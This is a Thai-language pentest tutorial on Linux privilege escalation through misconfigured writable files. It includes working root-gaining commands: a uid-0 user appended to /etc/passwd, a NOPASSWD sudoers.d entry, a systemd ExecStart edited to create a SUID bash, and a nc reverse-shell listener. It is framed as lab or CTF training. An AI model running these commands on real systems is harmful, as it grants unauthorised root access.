Writable Scripts & Files
Writable Scripts & Files คือการ privesc ผ่านไฟล์ระบบที่ตั้งสิทธิ์ผิดให้ user เขียนได้ — script ที่ root รัน, /etc/passwd, service file, config ที่ process root อ่าน บทนี้ลงลึกการหาไฟล์ที่เขียนได้, การ abuse แต่ละชนิด (writable /etc/passwd, service, sudoers, script), และลำดับความสำคัญ (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ
misconfiguration ที่พบบ่อยคือไฟล์ระบบสำคัญถูกตั้งสิทธิ์ให้ user ธรรมดาเขียนได้ ถ้าไฟล์นั้นถูกใช้โดย root (script ที่ root รัน, ไฟล์ที่กำหนดสิทธิ์อย่าง /etc/passwd, service ที่รันเป็น root) เราแก้ไฟล์เพื่อยกระดับเป็น root ได้
2. หาไฟล์ที่เขียนได้
# ไฟล์ที่ user เราเขียนได้ (นอก /proc /sys)
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'
# world-writable files
find / -perm -o+w -type f 2>/dev/null | grep -vE '^/proc|^/sys'
# world-writable directories (สร้าง/แทนที่ไฟล์ได้)
find / -perm -o+w -type d 2>/dev/null
# เช็คไฟล์สำคัญเฉพาะ
ls -la /etc/passwd /etc/shadow /etc/sudoers
ls -la /etc/systemd/system/*.service3. Abuse: writable /etc/passwd
# ถ้า /etc/passwd เขียนได้ → เพิ่ม user ที่มี uid=0
# สร้าง password hash
openssl passwd -1 -salt abc password123
# ได้ $1$abc$...
# เพิ่มบรรทัด user uid=0 (root) เข้า /etc/passwd
echo 'hacker:$1$abc$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
# หรือใช้ password ใน field ที่ 2 ตรงๆ (legacy)
su hacker # password123 → root!4. Abuse: writable service / sudoers / script
- writable .service file: แก้
ExecStart=ให้รัน payload → restart service (หรือรอ) → รันเป็น root (ดู section โค้ด) - writable script ที่ root รัน (cron/service): ใส่ payload (ดูหัวข้อ Cron Jobs)
- writable /etc/sudoers หรือ /etc/sudoers.d/: เพิ่ม
username ALL=(ALL) NOPASSWD: ALL→ sudo su - writable PATH ของ root: PATH hijack (ดูหัวข้อ PATH Hijacking)
- writable library (.so) ที่ root binary โหลด: แทนที่ → code execution
- writable /etc/ld.so.preload: ใส่ malicious .so → โหลดทุก process
# ถ้า /etc/systemd/system/foo.service เขียนได้
# แก้ ExecStart ให้รัน payload
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb'
# แล้ว (ถ้ามีสิทธิ์ restart หรือรอ reboot)
sudo systemctl restart foo # หรือรอ service รัน
/tmp/rb -p # root
# writable sudoers.d
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwn
sudo su # → root5. Quick Reference
- ไฟล์ระบบที่ user เขียนได้ + ใช้โดย root = privesc
- หา: find / -writable -type f 2>/dev/null | grep -v proc
- writable /etc/passwd → เพิ่ม user uid=0 → su
- writable .service → แก้ ExecStart → restart → root
- writable sudoers.d → NOPASSWD ALL → sudo su
- writable script ที่ root รัน → payload (ดู Cron)
- writable .so / ld.so.preload → code exec
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติไล่ SUID/capability/cron มาแล้วยังไม่เจอ มีแค่ Kali เปล่าๆ ลองเช็คว่ามีไฟล์ระบบสำคัญที่ user เราเขียนได้ไหม (misconfiguration ที่พบบ่อยไม่แพ้กัน) ทำตามนี้ทีละขั้น
- 1พิมพ์ find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys' หาไฟล์ที่เขียนได้ทั้งระบบ
- 2พิมพ์ ls -la /etc/passwd ดูก่อนว่าเขียนได้ไหม
- 3ถ้าเขียนได้ พิมพ์ openssl passwd -1 -salt abc password123 เอา hash ที่ได้
- 4พิมพ์ echo 'hacker:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd แล้ว su hacker ด้วยรหัส password123
- 5ถ้า /etc/passwd เขียนไม่ได้ ให้เช็ค ls -la /etc/sudoers /etc/sudoers.d/ ต่อ
- 6ถ้า sudoers.d เขียนได้ พิมพ์ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwn แล้ว sudo su
- 7ถ้ายังไม่เจอ ให้เช็ค ls -la /etc/systemd/system/*.service ว่ามีไฟล์เขียนได้ไหม
- 8ถ้าเขียนได้ ให้แก้บรรทัด ExecStart= เป็นคำสั่งสร้าง SUID bash แล้ว sudo systemctl restart
(หรือรอ reboot) - 9ถ้าไม่มีไฟล์ไหนเขียนได้เลย ให้เช็คว่า script ที่พบเป็นตัวที่ cron เรียกอยู่หรือเปล่า
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หาไฟล์ที่เขียนได้ทั้งระบบ | find -writable | - | - |
| สร้าง password hash สำหรับ /etc/passwd | openssl passwd | - | crackstation.net (เผื่อเทียบ) |
| แก้ systemd service | systemctl, nano/vim | - | - |
| ตรวจ sudoers | cat /etc/sudoers | - | - |
| enumeration เสริม | - | linpeas | - |
| ฟัง reverse shell | nc -lvnp | - | revshells.com |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้